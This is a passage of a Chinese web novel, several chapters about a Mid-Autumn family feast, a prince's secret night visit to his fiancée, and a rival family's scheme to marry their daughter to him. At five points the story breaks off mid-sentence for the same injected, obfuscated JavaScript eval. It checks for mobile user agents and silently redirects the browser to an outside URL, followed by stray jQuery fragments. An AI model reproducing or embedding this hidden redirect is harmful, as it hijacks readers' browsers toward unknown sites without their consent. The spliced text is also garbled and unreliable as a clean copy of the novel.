烈国公夫人看到了这满桌的菜肴,以及有条不紊上菜的婢女,坐到了方青鸾身边,拉着她的手,笑意盈盈地夸赞:“阿鸾真厉害,比我当初强多了。我第一回操持家宴时,出了不少的糗。”
“多亏了嫂子指点。”方青鸾笑呵呵地回话。
“那也是你用心学了,我帮的那点小忙不值一提。”烈国公夫人微微一笑。
全家人落座后,一群人高高兴兴地吃起了团圆饭。
棠云婋和棠云麒争抢着给妹妹剥蟹,一旁的尉迟敦瞧见了,也抢着要自己来。
弄好之后,本来要给棠云婋,但是见她面前已经堆有了。
棠云婋便把自己剥好的蟹给了娘亲。
一旁的尉迟敦有样学样,也学着棠云婋的模样,把剥好的蟹给了亲娘。
“娘亲,您请用。”
烈国公夫人顿时感觉眼眶有些发酸。
敦儿来这一趟摘星山庄,变化真的太大了。
但她喜欢这种变化。
“多谢敦儿,我们敦儿可真是个孝顺的好孩子。”她温柔地摸了摸儿子的脑袋。
一旁的烈国公有些吃味。
儿子剥好了蟹,怎么没想到他这个老父亲。
想当初他大冬天想钓鱼,可是他这个当爹的派人亲自下到湖里撬开鱼嘴咬钩的。
他酸溜溜地看向儿子:“敦儿,爹的呢?”
只见尉迟敦毫不犹豫地把残留了些许肉渣的蟹壳放到了他的盘子里。
“都有,都有。娘亲有,爹爹也有。爹爹不难过嗷。”
烈国公:“……”
可真是他的好大儿啊。
现在更难过了怎么办。
第361章 好想亲一口
众人看到这一幕,都忍不住笑出了声。
棠云婋跟着众人一块举杯庆贺。
几杯桂花酒下肚,她莫名有些想谢翊宁了。
这个时候,他应该已经在陪皇上皇后娘娘一块吃团圆饭了吧。
也不知道宫里有什么好吃的,和山庄的有什么区别?
定然也有蟹。
像他那样尊贵的人,想必不会亲自剥蟹,肯定早早有人替他剥好了。
要是他现在也在就好了。
棠云婋毫无思绪地乱想着,不自觉地就多喝了好几杯桂花酒。
等棠家人发现的时候就已经来不及了。
“诶诶诶,让婋婋别喝那么多。这酒喝着清甜,但容易醉啊!”方青鸾赶忙让人拦住她。
“我酒量好着呢,不会醉的!”棠云婋小脸红扑扑的,眼神也有些迷蒙。
“你们不信,我给你们打一套拳。”
她二话不说就站起了身子。
身子一晃,吓得旁边的棠云麒和棠云麟直接冲上去扶住她,
但她稳稳地站定了,开始表演打拳。
“嘿!”
“哈!”
“看我!”
“厉不厉害!”
她左勾拳右勾拳,一会儿飞踢,一会儿摇晃,还非要拔剑来舞一段给家里人助兴。
看得棠家人目瞪口呆。
“这孩子,得喝了多少啊。”棠风陵傻眼。
方青鸾检查了一下,看了一眼,顿时有些无奈。
“她一个人喝了麒儿和麟儿两人的份量,能不醉吗。”
“婋婋喝醉之后竟然是这样的么?”棠云麒彻底傻眼了。
棠云麟皱眉:“日后可不能让她多喝了。”
“爹爹,阿娘,你们看!我厉害着呢~~~”棠云婋打完了拳,晃晃悠悠地走到了他们面前。
“你们不要担心我,我这些年过得很好很好的。”
“我没有受很多苦,你们不要自责哦~”
“我、我已经长成了一个很厉害的大人!”
“不要内疚,我,我们以后都会好好的。”
她有些口齿不清,但棠家人还是听懂了她在说什么。
方青鸾红了眼睛。
那日她和烈国公夫人说起这些年的经历,总觉得对婋婋很是亏欠,想从各种方面去弥补她。
但又不知道该怎么做。
那会儿婋婋走了过来,没说这事。
她还以为她没听到呢,没想到她不仅听到了,还藏在了心里。
这孩子,真是懂事得让她心疼。
一旁的烈国公夫人也想起了这件事,也忍不住红了眼眶。
棠云婋却浑然不觉,还以为自己说话多有条理呢。
最后直接被九栀给抱回了房间,倒头就睡。
睡着睡着有些口渴,她爬起来想要喝水,迷迷糊糊听到了外边有动静,她顿时警觉,立刻摸起了枕头下的**。
但下一瞬,她就放下了警惕。
“婋婋,你醒了么?”
听到谢翊宁的声音,棠云婋顾不得穿鞋,直接从床上跑到了窗边,探头看了出去。
真的是谢翊宁,她还以为她幻听了呢。
她脱口而出:“王爷!”
谢翊宁看着穿着中衣的她,顿时红了脸,赶忙把自己身上的披风摘了下来,裹到了她身上。
这才对上了她亮晶晶的眼睛,眼神也变得柔和了几分。
“是我。不过我们不是说好了么,私底下不要叫我王爷。”
棠云婋反应慢了半拍,片刻后才红着脸道:“翊宁。”
“我在呢~”谢翊宁听到她喊自己的名字,心情就莫名的愉悦。
“你怎么来了?”棠云婋裹着他的披风,眨巴着眼看着他。
她睡着之前想着他若是在身边就好了,没想到一睁眼就看到了他。
王爷是有读心术么。
他怎么知道她想见他。
棠云婋抬头看了看天上的月亮,小声道:“这个时候城门怕是早就关了吧。”
谢翊宁得意一笑:“本王这张脸,宫门落锁了都能进宫,何况出个城。”
他说着从怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194774|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里掏出了一块包得严严实实的帕子,递给了棠云婋。
“是什么?”棠云婋有些疑惑地接过。
“宫里做的团圆饼。我猜你肯定喜欢吃。”谢翊宁笑眯眯地看着她。
“你那么大老远地跑过来,就是为了给我送一块饼?”棠云婋愣在了原地。
“不行么?”谢翊宁伸手揉了揉她的脑袋。
不送饼,他哪里有理由来见她。
“不是不行,只是太折腾了。这个饼,明天送也来得及呀。”棠云婋小口小口地啃了起来。
她只觉得这块饼比她从前吃过的所有饼都香,都好吃!
“不折腾,顺路的事。”谢翊宁微微一笑。
附近盯梢的停云听到这话嘴角抽了抽。
他算是明白了,有令嘉郡主在,王爷是天南地北都顺路,白天黑夜都不忙。
他默默又退出了好几步远,生怕听到什么不该听的。
棠云婋“噗嗤”一笑。
“顺路,顺什么路?咱们一个城里一个城外,怎么个顺路法?”
谢翊宁没想到她竟然这么不解风情,羞恼道:“你别管,本王说顺路那就顺路。”
“送饼是假,想见我是真。对吧?”棠云婋眼里浮起一丝狡黠的笑,像只偷吃鱼儿得逞的小猫。
“是又如何。”谢翊宁气鼓鼓的,干脆直接承认了。
“那可真是太好啦,因为我也想见你。”棠云婋啃着饼,笑眯眯地盯着他。
“我想见你,你就出现了。天底下没有比这更好的事了。”
“这真是我上辈子、这辈子加起来过得最开心最开心的中秋节了。”
至亲的家人在身边,心爱的人也在。
她没有哪一日比现在更满足的了。
谢翊宁听到这话,心底像是打翻了一罐子蜂蜜,甜得他心底咕嘟咕嘟地在冒泡泡。
他直直地看着棠云婋的眼睛,脑海里只剩下了一个念头:他的未婚妻,怎么可以这么可爱。
可爱得……
好想让人亲一口。
第362章 风光嫁给我
谢翊宁被自己这念头惊得耳根发烫。
他见棠云婋仍歪着头啃饼,都没察觉碎屑沾在唇角上,鬼使神差地探出了手。
指尖掠过棠云婋唇畔时,两人都愣了。
谢翊宁强作镇定地将手指上残留的那点碎屑递到她面前。
“有饼渣。”
棠云婋看着他的指尖,下意识地舔了一口。
谢翊宁脑子轰然一声响,指尖的酥麻一瞬间传遍了全身,他感觉自己烫得浑身要冒烟了。
棠云婋感觉自己浑身的血全都涌到了脸上,红得厉害。
她也不知道自己刚刚在做什么。
她一定是喝多了!
对上谢翊宁的眼睛,她结结巴巴辩解道:“不、不能浪费了,毕、毕竟你辛辛苦苦大老远给我带过来的。”
谢翊宁呼吸有些急促。
他俯身抵着她的额头,捧着她脸小声嘟囔:“……婋婋,我后悔了。等什么明年成婚,就该明日成婚。”
成了婚,她就是他正儿八经的王妃了。
到时候就能正大光明地捧着她的脸,把今天没敢做的事都补上。
两人鼻尖抵着鼻尖,谢翊宁呼出的热气扑在她的脸上。
棠云婋原本脸烫得都没法思考了。
忽然听到他冒出这么一句话,忍不住呆呆地笑了起来。
“明日肯定不行,嫁衣都来不及绣。”
“最快估计也得下个月。”
谢翊宁也笑了起来。
他只是一句玩笑话,她竟然也认真考虑了。
她真是把他的每一句话都放在了心上。
他直起了身子,温柔又认真地看着她:“下个月不行,那肯定匆匆忙忙的。我想让你风风光光的嫁给我。”
“好,我一定会风风光光嫁给你。”棠云婋重重点头,冲他弯了弯眉眼。
月光淌过她轻颤的睫毛,谢翊宁喉咙忽然有些发干。
棠云婋瞧见他似乎忽然低头骂了句什么。
还没反应过来,就看到他飞快地凑近,随后一个轻如羽毛的吻便落在了她额间。
“……横竖本王也没讲过什么规矩。”谢翊宁退后两步,声音里带着强撑的理直气壮,耳根却红得彻底。
“多这一桩也不算什么吧。”
夜风拂过,他像是被自己这举动惊醒了,转身时玄色袍角险些勾住廊下的藤蔓。
“婋婋,明日我、我给你带荷花酥!”
“你早些休息,做个好梦。”
说完他人便几步窜出院墙,只余院落中的桂花树枝叶轻晃,以及远处隐约传来的一声闷响。
像是王爷慌不择路踢到了什么东西。
紧接着又传来了停云小声的声音:“王爷,您等等我呀。”
棠云婋低头看了看手里吃到一半的饼,又抬手摸了摸自己的额头。
先前谢翊宁留下的温润触感渐渐消散,她后知后觉地回过神来,脸变得滚烫。
九栀和双鲤守在门口,一起吃着今日做的团圆点心。
夫人心善,命厨房做了很多的糕饼,让下人们自己去取。
今日过节,大家都要吃好喝好。
“咱们真不用进屋拦一拦么?”双鲤小声询问。
大半夜的,王爷单独进小姐的院子,万一被老爷夫人发现了怎么办。
“又没进屋子里,在屋外,你不说我不说,谁知道呢。”九栀耳朵动了一下,听到王爷离开,拍了拍手起身,把手上的糖霜拍掉了。
“反正那是未来的姑爷,对吧~”
九栀刮了刮她的鼻尖,随后抬头看向了天上圆圆的月亮,勾了勾唇角。
这样的日子,真好呀。
*
翌日。
苏家人收到了宫里苏昭仪的传信。
“皇后娘娘似乎有意给永安王选妃?”苏长青看到妹妹的话,有些心动。
若是能让女儿嫁给永安王,那他们就是永安王的岳家了,到时候以永安王的地位,他们苏家在京城里岂不是可以横着走?
苏长青的夫人龚氏眉头微皱:“可永安**年就二十了。”
她是希望女儿高嫁。
但却也不想女儿嫁过去一辈子守寡。
苏长青也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194775|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想到了国师的预言,他眉头紧锁:“那更得抓紧时间了。若定下了名分,得快点怀上孩子。”
他都不敢想,永安王若是不在了,以帝后的偏爱程度,女儿若是能怀上永安王的孩子,那孩子得多受宠。
到时候,他们苏家岂不是跟着蒸蒸日上。
龚氏还是不太愿意:“可那样的话,如嫣就要守一辈子的寡了。”
“愚蠢。”苏长青不耐烦地看了夫人一眼。
“永安王的遗孀和普通寡妇能一样么?”
“谁不得敬着她三分。”
“届时若是有孩子,那整个永安王府都在她的掌控之中,那样的日子,不比嫁给旁人舒服?”
龚氏一听,觉得夫君说得倒是有几分道理。
看看太子妃的待遇就知道了,皇后这个婆婆好得很。
这么多年了,太子妃没生出一个小郡王,也没任何的催促不满和打压。
女儿若是给她当儿媳妇,那真是太好不过了。
“可永安王向来独来独往,咱们哪里知道他的行踪,又怎么能让他和如嫣见上一面呢?”龚氏犯起了难。
苏长青脑子一转,立刻有了主意:“听闻令嘉郡主一家对王爷有救命之恩,她那两位兄长不是要入国子监就读了么,说不定他们入学那日,王爷会前往。”
“还有,皇上不是赏了永安王一匹玉龙驹么,好像还没见他骑出去溜过。说不定他还会去蒸云坡跑马。”
龚氏觉得颇有道理。
“咱家在蒸云坡附近不是正好有个庄子么,咱们全家去那住几日,散散心,说不定能偶遇永安王。”
两人就这么计划了起来。
苏如嫣得知爹娘想让她嫁给永安王,还要不择手段,顿时心生抗拒。
“娘。我不要。”她把脑袋摇得跟拨浪鼓似的。
她正是对姻缘婚事充满幻想的年纪。
让她嫁给一个不到两年就要死的人,即便尊贵如王爷,她也不愿意。
一想到将来要独自守着空荡荡的王府过一辈子,她就怕得心里发慌。
第363章 让我嫁王爷
“傻丫头。嫁给永安王,好处可比坏处多多了。”龚氏抚摸着她的脑袋,把夫君说的那些话都告诉了她。
“你难道不想当人人羡慕的王妃么?”
“你看看你姑姑,在宫里,吃的穿的用的,哪样不是顶顶好的。”
“那又如何,女儿不愿。”苏如嫣依旧提不起兴趣。
她只想嫁一个家世相当的夫君,然后与他生儿育女,白头到老。
龚氏好说歹说,她就是不愿意。
“你这孩子,这么好的机会摆在面前,你竟然不懂珍惜。”龚氏气得拂袖离去。
“不听你父亲和姑姑的,日后你指定要后悔。”
“到时候,可别来求我这个当娘的。”
龚氏走后,苏如嫣抹起了眼泪。
二房的堂妹苏如婧正好来探望她。
瞧见她哭红了眼,吓了一跳:“大姐姐,你怎么了?”
苏如嫣看到要好的堂妹,心中的委屈正无处诉说,听到她关心的话,便哽咽着把事情的前因后果说了出来。
“我不想嫁永安王,他们为什么非要逼我。”
苏如婧听到这话脸色微变。
大姐姐真是身在福中不知福。
有大伯父大伯母处处打点,宫中的姑姑为她着想,这样旁人求都求不来的机遇,她竟还哭着说不想要。
若是换作她……
这个念头一闪,苏如婧的心跳都快了几分。
若嫁进去的是她,她必定牢牢抓住这王妃之位,又怎会甘愿放手。
“二妹妹,你说,若他们非逼我做那等自甘堕落之事怎么办?”
苏如嫣哭得上气不接下气。
母亲先前说了,若是能遇到永安王,那便不惜一切代价促成她和永安王的事情。
言外之意,名声也没那么重要了。
只要能让永安王对她负责就好。
苏如婧听到这话,心下一横,索性将藏在心底的念头全抖了出来。
“大姐姐,你若实在不愿,那便让我去罢。”
苏如嫣一时没反应过来,怔怔地问:“二妹妹,你这是什么意思?”
“我说,我愿意替姐姐嫁入永安王府。”苏如婧握紧她的手,眼神灼灼。
“只要能嫁给永安王,哪怕是侧妃,我也心甘情愿。”
苏如嫣被她这话惊得连眼泪都忘了掉,只睁大眼睛望着她:“你、你知道你在说什么吗?”
“我知道。”苏如果断点头。
“你不是不想嫁么?我替你嫁。”
方才还满心抗拒的苏如嫣,见她这般积极,心里没来由地漫上一丝说不清道不明的滞涩。
她喃喃道:“可这事八字还没一撇呢……”
她不想要的东西,竟有人这样迫不及待地伸手要接。
这念头一闪,竟让她恍惚之间对爹娘的安排也没那么抗拒了。
“事在人为嘛。反正大伯父和大伯母安排好了,你不愿意去,我替你去就好了。”苏如婧语气笃定。
“反正咱们都是苏家的姑娘,谁成了永安王妃,对家里都只有好处没有坏处。”
她话说得在理,苏如嫣找不出反对的理由,只得胡乱地点头答应下来。
*
谢翊宁从摘星山庄回了王府,一夜没睡好。
梦里全是棠云婋。
一会儿梦到她坐在月牙尖上晃着腿啃着饼,那些饼的碎屑掉下来,全都变成了一闪一闪的星星。
一会儿又梦见她变成了一只玄猫和雪团儿在他面前打架。他上前劝架,雪团儿跑开,婋婋却躺下冲他翻肚皮,让他伸手摸摸她。
可他一伸手,她就散成了满床的月光。
最要命的是他还梦见了两**婚的场景。
他掀开红盖头想要弯腰亲棠云婋时,却听见满堂宾客哄笑。
低头一看,自己竟穿着中衣就拜了堂。
“……”
丢脸时刻,谢翊宁察觉到有什么东西在他脸上掠过。
睁眼一看,天已经亮了。
雪团儿屁股对着他,尾巴在他脸上扫来扫去。
谢翊宁有些无奈地起床,想到那些荒唐又没有逻辑的梦,一时间忍不住将雪团儿抱到了怀里一顿揉。
“你呀你。”他轻轻弹了雪团儿脑袋一下,“竟然欺负本王的王妃。”
雪团儿:“喵喵喵???”
随后给了他一套喵喵拳,挣扎了起来,不让他继续抱了。
谢翊宁笑了笑把它放到了一旁,冲外边喊了一声。
“停云。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198629|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停云当即回应:“王爷有何吩咐?”
谢翊宁:“把雪团儿抱下去吧,它估摸是饿了。”
停云这才推门进来,抱起了地上的雪团儿:“这小家伙怎么跑到王爷的寝殿来了。属下这就把它抱回去。”
谢翊宁没忘了昨日答应棠云婋的事,补充道:“对了,让厨房做两盒荷花酥,本王今日要亲自送去摘星山庄。”
“没问题。”停云点头,立刻风风火火地把事情给办了。
厨房的人一听王爷要吃荷花酥,顿时紧张了起来。
这荷花酥可不好做,对手艺要求高得很。
一不小心就会失败。
油温低了或者油温高了,都没法做出层层绽放,酥脆掉渣的荷花酥。
于是王府的厨房一大早便忙碌了起来。
没多久,停云就回来了。
谢翊宁想起了一件重要的事。
“邢天海说的那个地方,查了么?”
“查了。”停云点头。
“早已人去楼空。”
“幕后的东家只说有外地人租了他的屋子,许多年了,一个月前说老家有事,人就走了。”
谢翊宁顿时明白,那会儿孟华淳就已经做好了脱手的准备。
“属下已经派人去追查了,但多半也是假的身份。”停云有些懊恼。
谢翊宁摇摇头:“无妨。父皇和太子哥哥自会派人盯着孟华淳。他藏了那么多年,不可能真的会金盆洗手。他之后一定会露出马脚的。”
“王爷说得是。”停云点了点头。
他想到了令嘉郡主常说的话,便学着宽慰王爷:“饭要一口一口吃,事情一件一件做,总归会查清楚的。”
谢翊宁挑眉看他:“本王怎么觉得这话有点耳熟?”
“嘿嘿,郡主,不,未来的王妃说的。”停云憨憨一笑。
这句未来的王妃让谢翊宁心情大好。
但他没忘了叮嘱停云。
“这话私下说说就罢了,外边得注意分寸。莫要坏了婋婋的名声。”
停云连连点头:“属下明白!”
折腾了一上午,厨房总算做好了漂亮的荷花酥,谢翊宁看完十分满意,开开心心地提着去了摘星山庄。
结果却扑了个空。
第364章 挡不住的缘
“你家郡主呢?”谢翊宁看向了双鲤。
双鲤有点懵,王爷怎么来了。
她赶忙回应:“郡主他们一早就送世子一家回国公府去啦!正好老爷和两位少爷明日也要入学,所以提前一天进城了。”
谢翊宁琢磨着现在再赶去国公府也来不及了。
这荷花酥来回颠簸到时候怕是也得坏了。
还是就放着吧。
他略一思索,开口道:“那本王去一趟蒸云坡,等你家郡主回来了,你再派人来传信。”
蒸云坡离摘星山庄约莫五里地,那儿的马场跑起来最痛快。
他好些日子没纵马狂奔了,心里痒得很,打算去那儿撒个欢。
“好!”双鲤点头应下。
谢翊宁去了蒸云坡的消息,第一时间被苏家蹲守的人传了回来。
“老爷,夫人,永安王真去了蒸云坡!”苏家的下人着匆匆忙忙跑回庄子汇报。
苏长青和龚氏没想到竟然这么幸运。
他们只是来庄子蹲守第一天就遇上了永安王。
两人顿时狂喜。
“老爷果然聪慧过人,一猜一个准。”龚氏笑着恭维。
苏长青呵呵一笑,面露骄傲:“这说明什么,这说明永安王和咱们就是有缘。缘分来了,怎么都挡不住。”
“去,让大小姐和二小姐换上骑装,去蒸云坡跑马。”他当即吩咐下人。
本来只打算带上女儿苏如嫣的,但女儿非要把堂妹也带上一块作伴。
苏长青想了想,觉得带上隔房的侄女也不错,显得目的性没那么明显。
收到消息的苏如嫣,傻眼了。
她还没想好怎么面对永安王呢,怎么就要见面了。
苏如婧随时准备着,听到这个消息,并没有惊讶,直接去换了衣裳。
换好衣裳后,她看向呆愣在原地的苏如嫣,开口道:“大姐姐,你只要去了,成不成大伯父大伯母都不会怪你。但你若不去,他们肯定很生气。”
苏如嫣这才回过神来,点了点头:“你说得对,我必须去。”
在大虞,骑术乃世家贵族女子的必修之技。
虽不必如边关将士那样厉害,却也须得鞍马娴熟,通晓御驾之理。
一切都是因为开国太祖有言:“大虞以武立国,以文治国,子弟男女,皆不可废。”
所以苏家两位姑娘都会骑马。
两人很快换好了骑装,苏长青看到这一幕,满意地点了点头。
如嫣容貌随了宫里的苏昭仪,不说国色天香,倒也比寻常姑娘貌美几分。
他对女儿拿下永安王更有信心了。
“去吧。别忘了你娘嘱咐你的。”苏长青拍了拍苏如嫣的肩膀。
苏如嫣脸色有些惨白,但不敢反驳父亲,只得讷讷地应了一句:“是,嫣儿记住了。”
来之前,娘亲就说了。
见到永安王,一定要让他对自己留下印象,最好可以一次就成功,让永安王对她负责。
但她一个姑娘家,哪里做得出这些事。
苏如婧默默在一旁听大伯父嘱咐大姐姐,心底一片羡慕。
她还有两个月就及笄了,爹娘一直没有提替她相看的事情,反倒是大伯父大伯母已经全心全意为大姐姐谋划了。
宫里的姑姑也只偏袒大姐姐,不然怎么不把消息传给他们二房,让她也去争一争。
苏如婧咬紧了牙关。
她的骑术比大姐姐好,一定能胜过她,吸引永安王的注意。
两人一块去了蒸云坡,还没走进去就听到了男男女女的笑声。
苏如嫣和苏如婧对视一眼,看来今日在蒸云坡的人还挺多的。
马场入口处尘土微扬,管事胡四正吆喝着几个小厮,一抬眼瞧见苏如嫣姐妹二人,立马甩着汗巾子迎了上去。
“给二位姑娘请安。不知姑娘们是哪位府上的贵人?小的好为您安排。”
苏如嫣的丫鬟上前半步回答:“有劳管事。我家小姐姓苏,老太爷官拜太常寺少卿,姑奶奶乃是宫中昭仪娘娘。”
胡四忙不迭地侧身引路:“哎哟!恕小的眼拙,竟是苏昭仪娘家的千金。二位小姐快里边请,当心脚下。”
他一边侧身引路,一边殷勤地给两人介绍。
蒸云坡马场总共分了三大块区域。
第一处搭着凉棚锦帐,视野极佳的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198630|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高地是观赏区。
许多夫人千金来了,最爱在那儿歇脚。
棚帐里设了茶案坐榻,既晒不着,又能将底下赛马区的风光尽收眼底。
第二处是一条平坦宽阔、以木栅围起的赛马区。
跑道都拿细沙黄土仔细夯过,软硬适中,跑起来不扬尘也不伤马蹄。
平日里常有贵人在此赛马取乐,若是逢年节,他们马场还会设下彩头,办几场热闹的比赛。
紧邻赛马区的外侧是一面极为开阔的缓坡草坪,适合初学骑术的人。
不赛马的客人就爱到那里骑马闲逛。
第三处是蒸云坡的养马区。
整整齐齐的马马厩里关着几十匹好马,从温顺乖巧的矮马到高头大马,应有尽有。
那些马儿每日都有专人刷洗喂养,打理得油光水滑。
“二位小姐若是想挑坐骑,待会儿小的便引您过去细细挑选。”胡四笑呵呵地看着苏如嫣二人。
这两位小姐穿了骑装。
看样子今日必定是要来骑马了的。
只是不知道是初学还是要去赛马区策马狂奔。
“先给我们找个座吧。”苏如嫣开口。
“好咧。”胡四应下,将她们主仆几人领去了观赏区。
他们来了观赏区,撞见了太傅府的两位姑娘陆玥君和陆珮君。
“见过陆三小姐,陆二小姐。”苏如嫣姐妹二人赶忙和她们打招呼。
陆珮君性子好,从不与人斤斤计较,但陆玥君可就不同了。
她们若不主动打招呼,下回在宴会上遇见了,陆玥君肯定不上账给她们好脸色,保不准还会刁难她们。
陆玥君扫了她们一眼,不耐烦地点了点头。
陆珮君冲两人笑了笑,没多说什么。
另外两个姑娘好奇地看向陆玥君:“表姐,他们是谁呀?”
“她们的祖父是太常寺少卿。”陆玥君给自家表妹介绍了起来。
听到两人的官职比陆太傅低了那么多,陆玥君的表妹们便失去了结交的兴趣,专注的坐在陆玥君身旁讨好她。
“咦,大哥身边那人是谁?”陆玥君的大表妹林疏雨好奇地询问。
第365章 要一雪前耻
陆玥君看了过去,眼睛顿时亮了起来。
“是永安王!”
“永安王?”林家两位姑娘同时脱口而出。
她们初来京城就听过永安王的大名了,这还是头一回见到他本人。
陆玥君看着谢翊宁翻身上马的模样,小脸顿时变得红扑扑的。
“没错,正是永安王。”
“永安王长得可真好看。”年纪略小一些的林涵雨忍不住感慨。
“就是可惜了……”林疏雨接话。
她没说什么可惜,但在场的人心知肚明。
可惜这样俊美的少年郎,竟然活不过二十。
“哼,那可未必。那样耀眼夺目的人,怎会福薄?”陆玥君冷哼一声。
“说不定娶妻之后,他命格就改了呢。”
她的声音带着一丝羞涩。
祖母前些日子问她日后想要嫁什么样的夫婿,她第一时间就想到了永安王。
她若成了永安王正妃,那以后岂不是满京城横着走了。
到时候她倒是要看看,晏逐星那个小**还敢不敢在她面前摆县主的架子。
想到晏逐星如今已经成了郡主,陆玥君脸上的笑意顿时消失了。
她们姐妹间的交谈并未刻意压低声音。
一旁的苏如嫣和苏如婧听得清清楚楚。
两人都同时变了脸色。
陆玥君这话外的意思,似乎对永安王有别样的情愫。
她们俩的身份和陆玥君可比不了,容貌的话……
苏如婧摸了摸自己的脸。
她比大姐姐都不如,更别说陆家的两位姑娘了。
她咬着嘴唇,思索着接下来该如何在众多姑娘中脱颖而出。
一旁的陆玥君却坐不住了。
她直接把丫鬟叫了过来,让她去给表哥和弟弟传话。
陆润刚领着马出来,和表哥林楼霄闲聊,就看到了姐姐陆玥君的丫鬟走了过来。
“怎么了?是姐姐有什么事么?”他扭头看了过去。
“小姐想让您邀请永安王一块组队打马球。她也要下场。”丫鬟赶忙开口。
陆润皱眉。
他可不想和永安王打马球。
那位可是帝后捧在手心怕摔了,含在嘴里怕化了的存在。
和他打马球?
万一他输了不高兴,往地上一躺,或者磕着碰着了,他们哪里赔得起。
但他知道姐姐的性格,若是直接拒绝,肯定要闹。
他摇了摇头:“人家永安王未必会跟我们打。”
“小姐说成与不成,都要问一问。”丫鬟胆战心惊地转达自家小姐的话。
陆润抬头看过去,看到了陆玥君气鼓鼓的模样,他只得硬着头皮走到了谢翊宁身边。
“在下陆润,见过王爷。”他拱手行了一礼。
谢翊宁认出了他。
陆太傅的孙子嘛。
他微微颔首,没吭声,
陆润察觉到姐姐的视线一直落在自己身上,只得继续道。
“王爷莫怪我唐突,我们凑了四个人想组队打一场,偏偏……咳,还差一个能镇住场子的好手。”
“毕竟姐姐和表姐都是姑娘家,我和表哥两人也顾不过来,有心无力。”
“若是王爷得空,不知能否赏脸来帮我们凑个数?指点我们一二也好。”
谢翊宁扫了一眼他,又看了一眼林楼霄。
他身后这人功夫看着倒还不错。
只可惜,他对和女人一起打马球没什么兴趣。
万一传到婋婋耳朵里,害他被误会怎么办。
他可是好不容易才有的未婚妻,可不许任何人搅和没了。
“没兴趣。”谢翊宁拒绝得干脆利落。
“抱歉,打扰王爷了。”被拒绝之后,陆润反倒松了一口气。
他赶紧让那丫鬟回去转告姐姐。
陆玥君没想到永安王拒绝得那么果断,气得差点将桌上的瓜果给砸了。
但一想到这是在外边,这才忍住了。
她横了陆珮君一眼,眼神阴沉。
陆珮君眉头微皱,心下暗道不好。
等回了府里,陆玥君肯定又要拿她撒气了。
她低头思索,回家之后该怎么将这个无妄之灾给躲过去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198631|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这时,陆玥君忽然站了起来,声音带着一丝咬牙切齿的意味。
“她怎么来了?”
陆珮君抬头望去。
是令嘉郡主?!
看到棠云婋冲着永安王走去,陆玥君冷笑:“呵呵,一个压根没有皇室血统的假郡主,还妄想和永安王攀关系。”
她等着棠云婋被打脸。
没想到,下一刻她就抓狂了。
“王爷怎么和她有说有笑的?!”
这和陆玥君想象中的完全不一样。
她还以为永安王会像拒绝弟弟那样拒绝棠云婋的问候呢,怎么两人好似一副很熟悉的模样?
她忽然想起了之前的事情。
晏逐星去青州认亲,找到了家里人,改名叫棠云婋。
永安王也去了青州,还抓获了贪官污吏。
难不成,两人在青州那时候,就有了什么不可告人的关系?
她脸色顿时变得很难看。
苏如嫣和苏如婧也把这一幕看在了眼里。
陆玥君想要借着陆小公子接近永安王,失败了。
而令嘉郡主却可以和永安王有说有笑。
两人之间不同寻常的模样,让她们的心沉到了谷底。
尤其是苏如婧。
她以为劝退了大姐姐,只要打败陆玥君就可以,没想到竟然还有一位令嘉郡主。
就在她焦虑怎么办的时候,陆玥君忽然开口了。
“喂,会打马球吗?”
